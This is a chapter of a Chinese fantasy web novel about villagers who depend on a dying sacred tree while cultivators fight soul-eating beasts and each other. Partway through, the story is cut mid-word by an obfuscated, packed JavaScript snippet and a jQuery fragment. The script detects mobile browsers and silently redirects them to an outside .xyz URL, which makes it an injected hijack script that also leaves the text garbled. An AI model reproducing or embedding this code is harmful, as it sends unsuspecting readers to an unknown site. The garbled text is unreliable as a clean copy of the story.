村民仿佛抓住了救星:“对啊对啊,村长,这究竟是怎么回事?”
村长也神色大惊:“对啊,这怎么回事?”自己也糊涂了,“三夭是我的娃没错啊?”
“可他生下来就痴痴傻傻,怎么看都像丢了魂的样子。”有人说道。
村民便恍然大悟,原来如此,原来这就是没魂的样子。
不对,应昭风想,三夭只是丢了魂而不是没有魂,而且,刚进村时那么多欺负三夭的小孩,总不至于都是从村外跑进来的吧?
看到旁边有抱着自己孩子的妇人,昭风过去问道:“你是本地村民?孩子是灾后生的?”
那妇人有些怯懦地点头,把孩子抱得更紧了些,喃喃道:“对啊,我家娃怎么好好的……”这样细小的声音却被埋在嘈杂声里。
人们都被这变故惊昏了脑袋,理智都飞到九霄云外去了。
更糟糕的是,华胥派最后一件法宝终于烧完了,弟子们哭丧着连嚎道:“没了没了都没了!”
一叫完全乱套。
金光大阵一晃,食魂兽们等待已久,蓄力而来,盯着底下美味的残魂就是一顿饱餐。
那群修士自顾不暇,跑得像群无头苍蝇,哪里还管得着那些村民?
不过多久,遍地尸骸,满目狼藉,十五年前那场灾难似乎重现,历史以另一种方式重新轮回,重新回到它应有的轨道。
村民这时反倒齐心协力,齐齐往神木面前奔去,跪地大呼:“神明,神明,再救救我们吧!”
呼声至诚至信,可神木高高耸立云端,越来越暗淡的荧光像隔岸观火的冷眼,它无动于衷,无情无性。
二丫忍不住道:“神木爷爷早就死了啊,在那场大火之后,就已经死了!”
村民这才被喊醒,是啊,他们早知神木已不可再生,只是还抱着一丝希望,倘若神明还能活过来呢?
可它静悄悄的,什么都没动,便在陈述一个事实,救他们的神明已经彻底离他们而去。
又是一片哀呼:“神木已死,没人再救我们!”
四周仓皇一望,看到唯一一群站在阵法中心,还算冷静的修士,便纷纷涌过去,“仙人救命!”
那群修士意识到死期将至,死了身外之物不过过眼云烟,终于舍得拿出身上的法器,祭往阵里。
金光摇摇升起一个小小的笼,将将把他们几个框入其中,哪里还有位置容下旁人?
便把那些挤过来的凡人一推,推出阵去,人便被汹涌而来的食魂兽一勾而走,吞噬入腹。
几个修士还没来得及庆幸,转头就被另外的修士杀了,如今谁抢得阵法中心,谁就能活命。
阵法中心便成了斗兽场,竟比四周食魂兽的扑食还要惨烈。
村民连忙远离了他们,再四处搜寻目标,唯有和他们穿一样树皮衣裳的山中修士,不断在他们身后驱赶食魂兽。
村民们便回头,一股脑把他们拥挤在中间,伏地跪拜:“再救救我们仙人,救苦救难的仙人,你治过我老伴的伤,你帮我找回摔落悬底的娃娃,你保了此地十五年的太平,可否再救我们一次,我们从未害过他人我们还想活下去……”
齐眠季宵被拥簇其中,反而失去了行动之力,他们让村民别挤,村民却早已听不进去了。
他们也已力竭,看着这片人间炼狱,他们也束手无策。
该怎么办?
却见叶有舟朝他们飞掠而来,“快来,来这边的阵里躲一躲。”
众人回头,便见那边问鼎门弟子围了个血阵,红光大盛,个个以为鲜血为引,撑起了一片天地。
常有道竟是阵法中心,席有玉面色惨白朝他道:“这么多年来,你倒是头一次叫我刮目相看。”
常有道回道:“彼此彼此,席师弟竟也不只是吟风弄月的绣花枕头。”
二人暗地里较劲一番,村民已经安全躲好,其他修士见了,也纷纷赶来。
问鼎门此刻倒是齐心协力,每个进来的修士都要献血祭阵,否则打出去,他们可不养闲人。
看来已经吸取了华胥派的教训,那些修士狼狈至极,此刻只想得个安稳,纷纷割血祭阵,齐心协力,阵法居然比那金光大阵还要牢靠——此时,那金光大阵阵心周围堆满了尸体和法器残骸,争夺到最后,那边的阵法终究还是破了。
众人罕见地沉默下来,经过方才的争斗,四周满地残肢,存活下来的人只有方才的不到一半,他们的同门、朋友、亲人都命丧此地,支离破碎。
便有人哭了:“怎么会这样……”
谁知道这个看似和谐安宁的村庄,竟隐藏着这么大的危险?他们只是来摘星的啊,星没摘到,废了一身修为,上赶着来送命,和这群本来就是亡灵的村民一起陪葬。
他们后悔了:
“早知道就不来了。”
“如果、一切能重来就好了。重新再选一遍,绝对不踏进这诡村半步……”
重来?
一路护着周家人的昭风恍然一震,对啊,重来!
他灵光一闪,还没等他进一步捋清楚,身后有人便向神木靠去:“反正已经穷途末路,再这样等下去,只有血流而死的命。管它是不是亡魂,先把这颗树砍了,出去再说!”
挥剑就砍,砍了数刀,树皮没破分毫,剑却已缺了道口子,那人不禁破口大骂,“草,什么鬼玩意儿!”
可没人阻拦他,连村民都不再护卫这颗神树,小声开口:“只有挖出地下的树根作成的木斧头,才能砍到它。”
其他村民也没有阻拦,竟默许了他们的举动。
神明不再护卫他们,他们也转身将神明抛弃。
那修士大喜,连忙拿那把破剑挖出一道树根,在村民的指引下用粗枝将其砍断,很快制成斧头,一斧向巨树的粗干砍去。
晶莹的树干仿若碎了的琉璃,树皮脱落的那一刻,汁水飞溅,流光倾泻。
有村民下意识拿手去接,神木仿佛已经知道到他们的背弃,汁水一经脱离树身,荧光飞速暗去,到手已是毫无光泽,冰凉彻骨。
一斧一斧头劈去,震动了树心,天地动荡,刹那间荧光闪烁,晃了所有人的眼睛,忽明忽暗。
有人突然捂着脑袋,呜呜地喊起了疼,随着斧头越砍越深,那抱着脑袋的人越来越多,遍地哀嚎。
周大柱突然冲上去把他拦住:“住手!”
那修士不管,“砍了这破树,才能活下来!”
周大柱指着下面道:“乡亲们不对劲,先停手!”
已有人痛得在地面打滚。
那失去孩子的母亲拿头拼命撞地,忽而喃喃道:“我好像想起了什么……”
周二丫也压着脑袋里爆裂似的疼痛,连三夭都从睡梦中醒来,迷茫且困顿,下意识皱起了眉。
应昭风便悄悄伸了一藤蔓,绊倒那砍树的修士。
修士爬起来大怒:“谁整我?”
“我,”应昭风探头,“他们难受得很,你先停下。”
修士怒道:“那些早就是死人,管他们作甚?”
昭风皱眉:“谁说他们死了?”
修士反驳:“他们难道不是亡灵?”
昭风听了摇摇头:“他们是活人。可你再砍下去,他们就死了。”
“怎么回事?”季宵问。
昭风解释道:“你前面的推断错了,但也不完全错。他们是魂体,但只是对村外的人来说。只要在这个村子里,在神木的荫蔽下,他们就是活人。”
那修士嘲讽道:“这不是自相矛盾吗?死了就是死了……”
昭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957183|177645||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
风却笑:“你见过这样活蹦乱跳,能说会笑,还能清晰思考的死人?谁见过?就算是亡魂也应该是记忆错乱,颠三倒四……他们却活着,和正常人一样活着,该长大长大,该变老变老,能孕育后代,也会到寿命尽头死去,符合一切人类生命的规律。他们最多算是半生半死。没有身体,却还活着。”
“这话是什么意思?”有人疑惑道:“从没听过没有身体却活着的人。”
“所以这一切都是在神木还存在的前提下。”昭风之指出关键,“若神木倒,这村子所有村民,都活不成了。”
“就凭你一张嘴?怎么能确认你说的是真是假?”
有人怀疑道,“而且就为了这群半死不活的凡人,就要我们这么多修士陪葬吗?”
这话一说出,那人便意识到不对,就算心里这么想,都不应该说出来,修真门派都讲究名声,都以除魔卫道为己任,出门除妖也都要打着保护凡人的名声。
众人一看他的袍,居然是华胥派的弟子,华胥派居然也出了这样的败类,丢门派的脸。
“闭嘴。”霍少主开口了,“再动嘴割了你舌头。”那人便不敢再作声。
昭风再接再厉:“总之,他们现在还算半活着,可若你们推了这颗树,他们就真死了。这一村子数千人,死的怨债就算你们头上!”
这顶杀人的大帽子扣下来,都不敢动了。就算有贼心也没贼胆,在这么多同修的眼皮子底下,没人再敢出头,搞不好自己门派的名声就这样毁掉了。
砍又砍不了树,自己的血还等着献祭,不知什么时候是个尽头,那些修士焦灼间,村长突然痛呼一声。
周大柱连忙跑过去,发现阿爹捂着胸口躺倒在地,口吐着鲜血。
昭风不料刚走开一会儿就发生了变故,那刺伤村长的男子从村长怀里夺了一物,似癫似狂:
“哈哈哈哈我终于想起来了,摘星!我要摘星!就算被你常有道除名又怎样?只要摘了星,升了仙,还怕那点坏名声?”
竟又是孙元那厮!
“紫星盘!”
有眼尖修士看着他手里的那物,“紫星盘——指星盘!那法宝可以指出星星的方向!”
便见孙元割破手指,不知用了什么邪法,血液竟引着血阵的能量往紫星盘而去,催动星针簇簇晃动,一下指北一下指南,似乎两边都有力道拉扯着它,叫它不知停顿何处,好半天都乱晃不止。
这,莫不是坏的?
所有人都盯着他手里的紫星盘,竟忘了血阵能量已被引走。
阵法一晃,竟又溜进来一只食魂兽,众人见之大乱,仓皇奔逃,昭风飞扑过去挂在三夭身上大喊:“救命!”
昭风再往后一看,紫星盘竟在这时候找到了方向,指着中间那神木不动了。
“星星在那儿!”
孙元笑容刚咧到脑后,就被一剑穿胸。孙元挂着那一抹笑低头,看到透穿自己胸膛的那把剑,什么话也说不出,轰然倒地。
紧接着被蜂拥而上的修士踩在脚底。
“啊,多亏了你提点,成了仙人,还怕那点坏名声?人上之人,长生不老,无上法力,尽在眼前!”
哪还管得着那点闲言碎语?
摘星了!抢啊!!
修士们都疯了,争夺着挖掘树根,连削尖的时间都没有,就往树中央砍去,紫星盘指的就是这颗怪树,看它的枝干晶莹剔透,宛若琉璃,编织成的上空就是满天的星辰。
这么明显的事情,怎么他们现在才发现呢?
数根枝干洞穿神木之心,百人怀抱的粗干就这样从中间夭折,那一刻天地的荧光都在闪烁,万光乍现。
须臾之后,骤然熄灭。
在那片寂灭的黑里,一条绿藤以迅雷不及耳之势伸长,直取树心。